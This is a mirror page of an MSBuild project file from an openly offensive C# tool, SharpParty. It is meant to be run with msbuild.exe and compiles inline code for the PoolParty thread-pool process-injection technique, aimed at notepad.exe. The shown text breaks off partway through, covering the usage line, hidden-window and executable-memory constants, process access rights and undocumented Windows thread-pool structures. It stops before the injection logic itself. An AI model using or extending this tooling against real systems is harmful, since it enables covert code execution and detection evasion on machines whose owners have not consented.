mirror of
https://github.com/strozfriedberg/SharpParty
synced 2026-06-06 16:44:35 +00:00
1262 lines
52 KiB
XML
1262 lines
52 KiB
XML
<!--
|
|
BSD 3-Clause License
|
|
|
|
Copyright (c) 2023-2024, SafeBreach Labs
|
|
Copyright (c) 2025, Stroz Friedberg
|
|
All rights reserved.
|
|
|
|
Redistribution and use in source and binary forms, with or without
|
|
modification, are permitted provided that the following conditions are met:
|
|
1. Redistributions of source code must retain the above copyright notice, this
|
|
list of conditions and the following disclaimer.
|
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
|
this list of conditions and the following disclaimer in the documentation
|
|
and/or other materials provided with the distribution.
|
|
3. Neither the name of the copyright holder nor the names of its
|
|
contributors may be used to endorse or promote products derived from
|
|
this software without specific prior written permission.
|
|
|
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
-->
|
|
<!-- Usage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe task-variant4.xml -->
|
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
<Target Name="Hello">
|
|
<ClassExample />
|
|
</Target>
|
|
<UsingTask
|
|
TaskName="ClassExample"
|
|
TaskFactory="CodeTaskFactory"
|
|
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
|
<Task>
|
|
<Code Type="Class" Language="cs">
|
|
<![CDATA[
|
|
|
|
using System;
|
|
using System.Reflection;
|
|
using Microsoft.CSharp;
|
|
using Microsoft.Build.Framework;
|
|
using Microsoft.Build.Utilities;
|
|
|
|
public class ClassExample : Task, ITask
|
|
{
|
|
|
|
public override bool Execute()
|
|
{
|
|
string source = @"
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Cryptography;
|
|
using System.Collections;
|
|
using System.IO;
|
|
using System.Runtime.ExceptionServices;
|
|
using System.Text;
|
|
using System.Threading;
|
|
|
|
namespace Pool
|
|
{
|
|
public static class Party
|
|
{
|
|
|
|
private static string[] CandidatesToCheck =
|
|
{
|
|
""C:\\Windows\\System32\\notepad.exe""
|
|
};
|
|
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
|
private const short SW_HIDE = 0x0;
|
|
private const int STARTF_USESHOWWINDOW = 0x00000001;
|
|
private const uint CREATE_NO_WINDOW = 0x08000000;
|
|
private const uint DETACHED_PROCESS = 0x00000008;
|
|
private const uint GENERIC_WRITE = 0x40000000;
|
|
private const uint MEM_COMMIT = 0x00001000;
|
|
private const uint MEM_RESERVE = 0x00002000;
|
|
private const uint PAGE_EXECUTE_READWRITE = 0x40;
|
|
private const uint PAGE_READWRITE = 0x04;
|
|
|
|
public enum PROCESSINFOCLASS
|
|
{
|
|
ProcessBasicInformation = 0,
|
|
ProcessQuotaLimits = 1,
|
|
ProcessIoCounters = 2,
|
|
ProcessVmCounters = 3,
|
|
ProcessTimes = 4,
|
|
ProcessBasePriority = 5,
|
|
ProcessRaisePriority = 6,
|
|
ProcessDebugPort = 7,
|
|
ProcessExceptionPort = 8,
|
|
ProcessAccessToken = 9,
|
|
ProcessLdtInformation = 10,
|
|
ProcessLdtSize = 11,
|
|
ProcessDefaultHardErrorMode = 12,
|
|
ProcessIoPortHandlers = 13,
|
|
ProcessPooledUsageAndLimits = 14,
|
|
ProcessWorkingSetWatch = 15,
|
|
ProcessUserModeIOPL = 16,
|
|
ProcessEnableAlignmentFaultFixup = 17,
|
|
ProcessPriorityClass = 18,
|
|
ProcessWx86Information = 19,
|
|
ProcessHandleCount = 20,
|
|
ProcessAffinityMask = 21,
|
|
ProcessPriorityBoost = 22,
|
|
ProcessDeviceMap = 23,
|
|
ProcessSessionInformation = 24,
|
|
ProcessForegroundInformation = 25,
|
|
ProcessWow64Information = 26,
|
|
ProcessImageFileName = 27,
|
|
ProcessLUIDDeviceMapsEnabled = 28,
|
|
ProcessBreakOnTermination = 29,
|
|
ProcessDebugObjectHandle = 30,
|
|
ProcessDebugFlags = 31,
|
|
ProcessHandleTracing = 32,
|
|
ProcessIoPriority = 33,
|
|
ProcessExecuteFlags = 34,
|
|
ProcessTlsInformation = 35,
|
|
ProcessCookie = 36,
|
|
ProcessImageInformation = 37,
|
|
ProcessCycleTime = 38,
|
|
ProcessPagePriority = 39,
|
|
ProcessInstrumentationCallback = 40,
|
|
ProcessThreadStackAllocation = 41,
|
|
ProcessWorkingSetWatchEx = 42,
|
|
ProcessImageFileNameWin32 = 43,
|
|
ProcessImageFileMapping = 44,
|
|
ProcessAffinityUpdateMode = 45,
|
|
ProcessMemoryAllocationMode = 46,
|
|
ProcessGroupInformation = 47,
|
|
ProcessTokenVirtualizationEnabled = 48,
|
|
ProcessOwnerInformation = 49,
|
|
ProcessWindowInformation = 50,
|
|
ProcessHandleInformation = 51,
|
|
ProcessMitigationPolicy = 52,
|
|
ProcessDynamicFunctionTableInformation = 53,
|
|
ProcessHandleCheckingMode = 54,
|
|
ProcessKeepAliveCount = 55,
|
|
ProcessRevokeFileHandles = 56,
|
|
ProcessWorkingSetControl = 57,
|
|
ProcessHandleTable = 58,
|
|
ProcessCheckStackExtentsMode = 59,
|
|
ProcessCommandLineInformation = 60,
|
|
ProcessProtectionInformation = 61,
|
|
ProcessMemoryExhaustion = 62,
|
|
ProcessFaultInformation = 63,
|
|
ProcessTelemetryIdInformation = 64,
|
|
ProcessCommitReleaseInformation = 65,
|
|
ProcessReserved1Information = 66,
|
|
ProcessReserved2Information = 67,
|
|
ProcessSubsystemProcess = 68,
|
|
ProcessInPrivate = 70,
|
|
ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
|
|
ProcessSubsystemInformation = 75,
|
|
ProcessWin32kSyscallFilterInformation = 79,
|
|
ProcessEnergyTrackingState = 82,
|
|
MaxProcessInfoClass = 83,
|
|
}
|
|
|
|
[Flags]
|
|
public enum DUPLICATE_HANDLE_OPTIONS : uint
|
|
{
|
|
DUPLICATE_CLOSE_SOURCE = 0x00000001,
|
|
DUPLICATE_SAME_ACCESS = 0x00000002,
|
|
}
|
|
|
|
public enum _QUERY_WORKERFACTORYINFOCLASS
|
|
{
|
|
WorkerFactoryBasicInformation = 7,
|
|
}
|
|
|
|
public enum _OBJECT_INFORMATION_CLASS
|
|
{
|
|
ObjectBasicInformation = 0,
|
|
ObjectTypeInformation = 2,
|
|
}
|
|
|
|
public enum _SET_WORKERFACTORYINFOCLASS
|
|
{
|
|
WorkerFactoryTimeout = 0,
|
|
WorkerFactoryRetryTimeout = 1,
|
|
WorkerFactoryIdleTimeout = 2,
|
|
WorkerFactoryBindingCount = 3,
|
|
WorkerFactoryThreadMinimum = 4,
|
|
WorkerFactoryThreadMaximum = 5,
|
|
WorkerFactoryPaused = 6,
|
|
WorkerFactoryAdjustThreadGoal = 8,
|
|
WorkerFactoryCallbackType = 9,
|
|
WorkerFactoryStackInformation = 10,
|
|
WorkerFactoryThreadBasePriority = 11,
|
|
WorkerFactoryTimeoutWaiters = 12,
|
|
WorkerFactoryFlags = 13,
|
|
WorkerFactoryThreadSoftMaximum = 14
|
|
}
|
|
|
|
[Flags]
|
|
public enum PROCESS_ACCESS_RIGHTS : uint
|
|
{
|
|
PROCESS_TERMINATE = 0x00000001,
|
|
PROCESS_CREATE_THREAD = 0x00000002,
|
|
PROCESS_SET_SESSIONID = 0x00000004,
|
|
PROCESS_VM_OPERATION = 0x00000008,
|
|
PROCESS_VM_READ = 0x00000010,
|
|
PROCESS_VM_WRITE = 0x00000020,
|
|
PROCESS_DUP_HANDLE = 0x00000040,
|
|
PROCESS_CREATE_PROCESS = 0x00000080,
|
|
PROCESS_SET_QUOTA = 0x00000100,
|
|
PROCESS_SET_INFORMATION = 0x00000200,
|
|
PROCESS_QUERY_INFORMATION = 0x00000400,
|
|
PROCESS_SUSPEND_RESUME = 0x00000800,
|
|
PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000,
|
|
PROCESS_SET_LIMITED_INFORMATION = 0x00002000,
|
|
PROCESS_ALL_ACCESS = 0x001FFFFF,
|
|
PROCESS_DELETE = 0x00010000,
|
|
PROCESS_READ_CONTROL = 0x00020000,
|
|
PROCESS_WRITE_DAC = 0x00040000,
|
|
PROCESS_WRITE_OWNER = 0x00080000,
|
|
PROCESS_SYNCHRONIZE = 0x00100000,
|
|
PROCESS_STANDARD_RIGHTS_REQUIRED = 0x000F0000,
|
|
}
|
|
|
|
public enum WORKER_ACCESS_RIGHTS : uint
|
|
{
|
|
WORKER_FACTORY_RELEASE_WORKER = 0x0001,
|
|
WORKER_FACTORY_WAIT = 0x0002,
|
|
WORKER_FACTORY_SET_INFORMATION = 0x0004,
|
|
WORKER_FACTORY_QUERY_INFORMATION = 0x0008,
|
|
WORKER_FACTORY_READY_WORKER = 0x0010,
|
|
WORKER_FACTORY_SHUTDOWN = 0x0020,
|
|
WORKER_FACTORY_ALL_ACCESS = (0x000F0000 | WORKER_FACTORY_RELEASE_WORKER | WORKER_FACTORY_WAIT | WORKER_FACTORY_SET_INFORMATION | WORKER_FACTORY_QUERY_INFORMATION | WORKER_FACTORY_READY_WORKER | WORKER_FACTORY_SHUTDOWN)
|
|
}
|
|
|
|
[Flags]
|
|
public enum FILE_SHARE_MODE : uint
|
|
{
|
|
FILE_SHARE_NONE = 0x00000000,
|
|
FILE_SHARE_DELETE = 0x00000004,
|
|
FILE_SHARE_READ = 0x00000001,
|
|
FILE_SHARE_WRITE = 0x00000002,
|
|
}
|
|
|
|
public enum FILE_CREATION_DISPOSITION : uint
|
|
{
|
|
CREATE_NEW = 1U,
|
|
CREATE_ALWAYS = 2U,
|
|
OPEN_EXISTING = 3U,
|
|
OPEN_ALWAYS = 4U,
|
|
TRUNCATE_EXISTING = 5U,
|
|
}
|
|
|
|
[Flags]
|
|
public enum FILE_FLAGS_AND_ATTRIBUTES : uint
|
|
{
|
|
FILE_ATTRIBUTE_READONLY = 0x00000001,
|
|
FILE_ATTRIBUTE_HIDDEN = 0x00000002,
|
|
FILE_ATTRIBUTE_SYSTEM = 0x00000004,
|
|
FILE_ATTRIBUTE_DIRECTORY = 0x00000010,
|
|
FILE_ATTRIBUTE_ARCHIVE = 0x00000020,
|
|
FILE_ATTRIBUTE_DEVICE = 0x00000040,
|
|
FILE_ATTRIBUTE_NORMAL = 0x00000080,
|
|
FILE_ATTRIBUTE_TEMPORARY = 0x00000100,
|
|
FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200,
|
|
FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400,
|
|
FILE_ATTRIBUTE_COMPRESSED = 0x00000800,
|
|
FILE_ATTRIBUTE_OFFLINE = 0x00001000,
|
|
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000,
|
|
FILE_ATTRIBUTE_ENCRYPTED = 0x00004000,
|
|
FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x00008000,
|
|
FILE_ATTRIBUTE_VIRTUAL = 0x00010000,
|
|
FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000,
|
|
FILE_ATTRIBUTE_EA = 0x00040000,
|
|
FILE_ATTRIBUTE_PINNED = 0x00080000,
|
|
FILE_ATTRIBUTE_UNPINNED = 0x00100000,
|
|
FILE_ATTRIBUTE_RECALL_ON_OPEN = 0x00040000,
|
|
FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS = 0x00400000,
|
|
FILE_FLAG_WRITE_THROUGH = 0x80000000,
|
|
FILE_FLAG_OVERLAPPED = 0x40000000,
|
|
FILE_FLAG_NO_BUFFERING = 0x20000000,
|
|
FILE_FLAG_RANDOM_ACCESS = 0x10000000,
|
|
FILE_FLAG_SEQUENTIAL_SCAN = 0x08000000,
|
|
FILE_FLAG_DELETE_ON_CLOSE = 0x04000000,
|
|
FILE_FLAG_BACKUP_SEMANTICS = 0x02000000,
|
|
FILE_FLAG_POSIX_SEMANTICS = 0x01000000,
|
|
FILE_FLAG_SESSION_AWARE = 0x00800000,
|
|
FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000,
|
|
FILE_FLAG_OPEN_NO_RECALL = 0x00100000,
|
|
FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000,
|
|
PIPE_ACCESS_DUPLEX = 0x00000003,
|
|
PIPE_ACCESS_INBOUND = 0x00000001,
|
|
PIPE_ACCESS_OUTBOUND = 0x00000002,
|
|
SECURITY_ANONYMOUS = 0x00000000,
|
|
SECURITY_IDENTIFICATION = 0x00010000,
|
|
SECURITY_IMPERSONATION = 0x00020000,
|
|
SECURITY_DELEGATION = 0x00030000,
|
|
SECURITY_CONTEXT_TRACKING = 0x00040000,
|
|
SECURITY_EFFECTIVE_ONLY = 0x00080000,
|
|
SECURITY_SQOS_PRESENT = 0x00100000,
|
|
SECURITY_VALID_SQOS_FLAGS = 0x001F0000,
|
|
}
|
|
|
|
public enum _TP_CALLBACK_PRIORITY
|
|
{
|
|
TP_CALLBACK_PRIORITY_HIGH = 0,
|
|
TP_CALLBACK_PRIORITY_NORMAL = 1,
|
|
TP_CALLBACK_PRIORITY_LOW = 2,
|
|
TP_CALLBACK_PRIORITY_INVALID = 3,
|
|
TP_CALLBACK_PRIORITY_COUNT = 3
|
|
}
|
|
|
|
public enum FILE_INFORMATION_CLASS
|
|
{
|
|
FileDirectoryInformation = 1,
|
|
FileFullDirectoryInformation,
|
|
FileBothDirectoryInformation,
|
|
FileBasicInformation,
|
|
FileStandardInformation,
|
|
FilepublicInformation,
|
|
FileEaInformation,
|
|
FileAccessInformation,
|
|
FileNameInformation,
|
|
FileRenameInformation,
|
|
FileLinkInformation,
|
|
FileNamesInformation,
|
|
FileDispositionInformation,
|
|
FilePositionInformation,
|
|
FileFullEaInformation,
|
|
FileModeInformation,
|
|
FileAlignmentInformation,
|
|
FileAllInformation,
|
|
FileAllocationInformation,
|
|
FileEndOfFileInformation,
|
|
FileAlternateNameInformation,
|
|
FileStreamInformation,
|
|
FilePipeInformation,
|
|
FilePipeLocalInformation,
|
|
FilePipeRemoteInformation,
|
|
FileMailslotQueryInformation,
|
|
FileMailslotSetInformation,
|
|
FileCompressionInformation,
|
|
FileObjectIdInformation,
|
|
FileCompletionInformation,
|
|
FileMoveClusterInformation,
|
|
FileQuotaInformation,
|
|
FileReparsePointInformation,
|
|
FileNetworkOpenInformation,
|
|
FileAttributeTagInformation,
|
|
FileTrackingInformation,
|
|
FileIdBothDirectoryInformation,
|
|
FileIdFullDirectoryInformation,
|
|
FileValidDataLengthInformation,
|
|
FileShortNameInformation,
|
|
FileIoCompletionNotificationInformation,
|
|
FileIoStatusBlockRangeInformation,
|
|
FileIoPriorityHintInformation,
|
|
FileSfioReserveInformation,
|
|
FileSfioVolumeInformation,
|
|
FileHardLinkInformation,
|
|
FileProcessIdsUsingFileInformation,
|
|
FileNormalizedNameInformation,
|
|
FileNetworkPhysicalNameInformation,
|
|
FileIdGlobalTxDirectoryInformation,
|
|
FileIsRemoteDeviceInformation,
|
|
FileUnusedInformation,
|
|
FileNumaNodeInformation,
|
|
FileStandardLinkInformation,
|
|
FileRemoteProtocolInformation,
|
|
FileRenameInformationBypassAccessCheck,
|
|
FileLinkInformationBypassAccessCheck,
|
|
FileVolumeNameInformation,
|
|
FileIdInformation,
|
|
FileIdExtdDirectoryInformation,
|
|
FileReplaceCompletionInformation,
|
|
FileHardLinkFullIdInformation,
|
|
FileIdExtdBothDirectoryInformation,
|
|
FileDispositionInformationEx,
|
|
FileRenameInformationEx,
|
|
FileRenameInformationExBypassAccessCheck,
|
|
FileDesiredStorageClassInformation,
|
|
FileStatInformation,
|
|
FileMemoryPartitionInformation,
|
|
FileStatLxInformation,
|
|
FileCaseSensitiveInformation,
|
|
FileLinkInformationEx,
|
|
FileLinkInformationExBypassAccessCheck,
|
|
FileStorageReserveIdInformation,
|
|
FileCaseSensitiveInformationForceAccessCheck,
|
|
FileKnownFolderInformation,
|
|
FileStatBasicInformation,
|
|
FileId64ExtdDirectoryInformation,
|
|
FileId64ExtdBothDirectoryInformation,
|
|
FileIdAllExtdDirectoryInformation,
|
|
FileIdAllExtdBothDirectoryInformation,
|
|
FileMaximumInformation
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Pack = 1, Size = 8)]
|
|
public struct LARGE_INTEGER
|
|
{
|
|
[FieldOffset(0)]
|
|
public Int64 QuadPart;
|
|
[FieldOffset(0)]
|
|
public UInt32 LowPart;
|
|
[FieldOffset(4)]
|
|
public Int32 HighPart;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct _WORKER_FACTORY_BASIC_INFORMATION
|
|
{
|
|
public LARGE_INTEGER Timeout;
|
|
public LARGE_INTEGER RetryTimeout;
|
|
public LARGE_INTEGER IdleTimeout;
|
|
public byte Paused;
|
|
public byte TimerSet;
|
|
public byte QueuedToExWorker;
|
|
public byte MayCreate;
|
|
public byte CreateInProgress;
|
|
public byte InsertedIntoQueue;
|
|
public byte Shutdown;
|
|
public uint BindingCount;
|
|
public uint ThreadMinimum;
|
|
public uint ThreadMaximum;
|
|
public uint PendingWorkerCount;
|
|
public uint WaitingWorkerCount;
|
|
public uint TotalWorkerCount;
|
|
public uint ReleaseCount;
|
|
public long InfiniteWaitGoal;
|
|
public IntPtr StartRoutine;
|
|
public IntPtr StartParameter;
|
|
public IntPtr ProcessId;
|
|
public IntPtr StackReserve;
|
|
public IntPtr StackCommit;
|
|
public int LastThreadCreationStatus;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Pack = 1, CharSet = CharSet.Unicode)]
|
|
public unsafe struct PROCESS_HANDLE_TABLE_ENTRY_INFO
|
|
{
|
|
[FieldOffset(0)]
|
|
public IntPtr HandleValue;
|
|
[FieldOffset(8)]
|
|
public IntPtr HandleCount;
|
|
[FieldOffset(16)]
|
|
public IntPtr PointerCount;
|
|
[FieldOffset(24)]
|
|
public uint GrantedAccess;
|
|
[FieldOffset(28)]
|
|
public ulong ObjectTypeIndex;
|
|
[FieldOffset(36)]
|
|
public ulong HandleAttributes;
|
|
[FieldOffset(44)]
|
|
public ulong Reserved;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Pack = 1)]
|
|
public unsafe struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
{
|
|
[FieldOffset(0)]
|
|
public IntPtr NumberOfHandles;
|
|
[FieldOffset(8)]
|
|
public IntPtr Reserved;
|
|
[FieldOffset(16)]
|
|
public fixed byte Handles[1];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
{
|
|
public IntPtr NumberOfHandles;
|
|
public IntPtr Reserved;
|
|
public PROCESS_HANDLE_TABLE_ENTRY_INFO[] Handles;
|
|
}
|
|
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
public unsafe struct UNICODE_STRING : IDisposable
|
|
{
|
|
public ushort Length;
|
|
public ushort MaximumLength;
|
|
private IntPtr Buffer;
|
|
|
|
public UNICODE_STRING(string s)
|
|
{
|
|
Length = (ushort)(s.Length * 2);
|
|
MaximumLength = (ushort)(Length + 2);
|
|
Buffer = Marshal.StringToHGlobalUni(s);
|
|
}
|
|
|
|
public void Dispose()
|
|
{
|
|
Marshal.FreeHGlobal(Buffer);
|
|
Buffer = IntPtr.Zero;
|
|
}
|
|
|
|
public override string ToString()
|
|
{
|
|
return Marshal.PtrToStringUni(Buffer);
|
|
}
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
public unsafe struct _PUBLIC_OBJECT_TYPE_INFORMATION
|
|
{
|
|
public UNICODE_STRING TypeName;
|
|
public fixed ulong Reserved[22];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
public IntPtr hThread;
|
|
public int dwProcessId;
|
|
public int dwThreadId;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
public struct STARTUPINFO
|
|
{
|
|
public Int32 cb;
|
|
public string lpReserved;
|
|
public string lpDesktop;
|
|
public string lpTitle;
|
|
public Int32 dwX;
|
|
public Int32 dwY;
|
|
public Int32 dwXSize;
|
|
public Int32 dwYSize;
|
|
public Int32 dwXCountChars;
|
|
public Int32 dwYCountChars;
|
|
public Int32 dwFillAttribute;
|
|
public Int32 dwFlags;
|
|
public Int16 wShowWindow;
|
|
public Int16 cbReserved2;
|
|
public IntPtr lpReserved2;
|
|
public IntPtr hStdInput;
|
|
public IntPtr hStdOutput;
|
|
public IntPtr hStdError;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 4)]
|
|
public struct _TPP_REFCOUNT
|
|
{
|
|
[FieldOffset(0)] public volatile int Refcount;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct CallbackUnion
|
|
{
|
|
[FieldOffset(0)] public IntPtr Callback;
|
|
[FieldOffset(0)] public IntPtr WorkCallback;
|
|
[FieldOffset(0)] public IntPtr SimpleCallback;
|
|
[FieldOffset(0)] public IntPtr TimerCallback;
|
|
[FieldOffset(0)] public IntPtr WaitCallback;
|
|
[FieldOffset(0)] public IntPtr IoCallback;
|
|
[FieldOffset(0)] public IntPtr AlpcCallback;
|
|
[FieldOffset(0)] public IntPtr AlpcCallbackEx;
|
|
[FieldOffset(0)] public IntPtr JobCallback;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 4)]
|
|
public struct FlagUnion
|
|
{
|
|
[FieldOffset(0)] public volatile int Flags;
|
|
[FieldOffset(0)] public uint LongFunction;
|
|
[FieldOffset(0)] public uint Persistent;
|
|
[FieldOffset(0)] public uint UnusedPublic;
|
|
[FieldOffset(0)] public uint Released;
|
|
[FieldOffset(0)] public uint CleanupGroupReleased;
|
|
[FieldOffset(0)] public uint InCleanupGroupCleanupList;
|
|
[FieldOffset(0)] public uint UnusedPrivate;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 80)]
|
|
public struct _TP_CLEANUP_GROUP
|
|
{
|
|
[FieldOffset(0)] public _TPP_REFCOUNT Refcount;
|
|
[FieldOffset(4)] public int Released;
|
|
[FieldOffset(8)] public _RTL_SRWLOCK MemberLock;
|
|
[FieldOffset(16)] public _LIST_ENTRY MemberList;
|
|
[FieldOffset(32)] public _TPP_BARRIER Barrier;
|
|
[FieldOffset(56)] public _RTL_SRWLOCK CleanupLock;
|
|
[FieldOffset(64)] public _LIST_ENTRY CleanupList;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _TPP_FLAGS_UNION
|
|
{
|
|
[FieldOffset(0)] public long Data;
|
|
[FieldOffset(0)] public ulong Flags;
|
|
[FieldOffset(0)] public ulong Count;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _TPP_FLAGS_COUNT
|
|
{
|
|
[FieldOffset(0)] public _TPP_FLAGS_UNION Flags;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _RTL_SRWLOCK
|
|
{
|
|
[FieldOffset(0)] public IntPtr Ptr;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 16)]
|
|
public unsafe struct _TPP_ITE_WAITER
|
|
{
|
|
[FieldOffset(0)] public IntPtr Next;
|
|
[FieldOffset(8)] public IntPtr ThreadId;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public unsafe struct _TPP_ITE
|
|
{
|
|
[FieldOffset(0)] public IntPtr First;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 24)]
|
|
public struct _TPP_BARRIER
|
|
{
|
|
[FieldOffset(0)] public _TPP_FLAGS_COUNT Ptr;
|
|
[FieldOffset(8)] public _RTL_SRWLOCK WaitLock;
|
|
[FieldOffset(16)] public _TPP_ITE WaitList;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 16)]
|
|
public unsafe struct _GUID
|
|
{
|
|
[FieldOffset(0)] public int Data1;
|
|
[FieldOffset(4)] public short Data2;
|
|
[FieldOffset(6)] public short Data3;
|
|
[FieldOffset(8)] public fixed byte Data4[8];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _ALPC_WORK_ON_BEHALF_TICKET
|
|
{
|
|
[FieldOffset(0)] public uint ThreadId;
|
|
[FieldOffset(4)] public uint ThreadCreationTimeLow;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _TPP_POOL_QUEUE_STATE
|
|
{
|
|
[FieldOffset(0)] public long Exchange;
|
|
[FieldOffset(0)] public _TPP_POOL_QUEUE_STATE_FIELDS Fields;
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _TPP_POOL_QUEUE_STATE_FIELDS
|
|
{
|
|
[FieldOffset(0)] public short RunningThreadGoal;
|
|
[FieldOffset(2)] public ushort PendingReleaseGoal;
|
|
[FieldOffset(4)] public uint QueueLength;
|
|
}
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 4)]
|
|
public struct _TPP_NUMA_NODE
|
|
{
|
|
[FieldOffset(0)] public int WorkerCount;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 24)]
|
|
public struct _TPP_QUEUE
|
|
{
|
|
[FieldOffset(0)] public _LIST_ENTRY Queue;
|
|
[FieldOffset(16)]public _RTL_SRWLOCK Lock;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
|
public struct _GROUP_AFFINITY
|
|
{
|
|
public UIntPtr Mask;
|
|
[MarshalAs(UnmanagedType.U2)] public ushort Group;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 3, ArraySubType = UnmanagedType.U2)] public ushort[] Reserved;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 40)]
|
|
public struct _TPP_PH_LINKS
|
|
{
|
|
[FieldOffset(0)] public _LIST_ENTRY Siblings;
|
|
[FieldOffset(16)] public _LIST_ENTRY Children;
|
|
[FieldOffset(32)] public long Key;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public unsafe struct _TPP_PH
|
|
{
|
|
[FieldOffset(0)] public IntPtr Root;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 120)]
|
|
public unsafe struct _TPP_TIMER_SUBQUEUE
|
|
{
|
|
[FieldOffset(0)] public long Expiration;
|
|
[FieldOffset(8)] public _TPP_PH WindowStart;
|
|
[FieldOffset(16)] public _TPP_PH WindowEnd;
|
|
[FieldOffset(24)] public IntPtr Timer;
|
|
[FieldOffset(32)] public IntPtr TimerPkt;
|
|
[FieldOffset(40)] public _TP_DIRECT Direct;
|
|
[FieldOffset(112)] public uint ExpirationWindow;
|
|
[FieldOffset(116)] public fixed int PADDING[1];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 256)]
|
|
public unsafe struct _TPP_TIMER_QUEUE
|
|
{
|
|
[FieldOffset(0)] public _RTL_SRWLOCK Lock;
|
|
[FieldOffset(8)] public _TPP_TIMER_SUBQUEUE AbsoluteQueue;
|
|
[FieldOffset(128)] public _TPP_TIMER_SUBQUEUE RelativeQueue;
|
|
[FieldOffset(248)] public int AllocatedTimerCount;
|
|
[FieldOffset(252)] public fixed int PADDING[1];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 486)]
|
|
public unsafe struct FULL_TP_POOL
|
|
{
|
|
[FieldOffset(0)] public _TPP_REFCOUNT Refcount;
|
|
[FieldOffset(4)] public int PADDING1;
|
|
[FieldOffset(8)] public _TPP_POOL_QUEUE_STATE QueueState;
|
|
[FieldOffset(16)] [MarshalAs(UnmanagedType.LPArray, SizeConst = 3)] public IntPtr TaskQueue;
|
|
[FieldOffset(40)] public IntPtr NumaNode;
|
|
[FieldOffset(48)] public IntPtr ProximityInfo;
|
|
[FieldOffset(56)] public IntPtr WorkerFactory;
|
|
[FieldOffset(64)] public IntPtr CompletionPort;
|
|
[FieldOffset(72)] public _RTL_SRWLOCK Lock;
|
|
[FieldOffset(80)] public _LIST_ENTRY PoolObjectList;
|
|
[FieldOffset(96)] public _LIST_ENTRY WorkerList;
|
|
[FieldOffset(112)] public _TPP_TIMER_QUEUE TimerQueue;
|
|
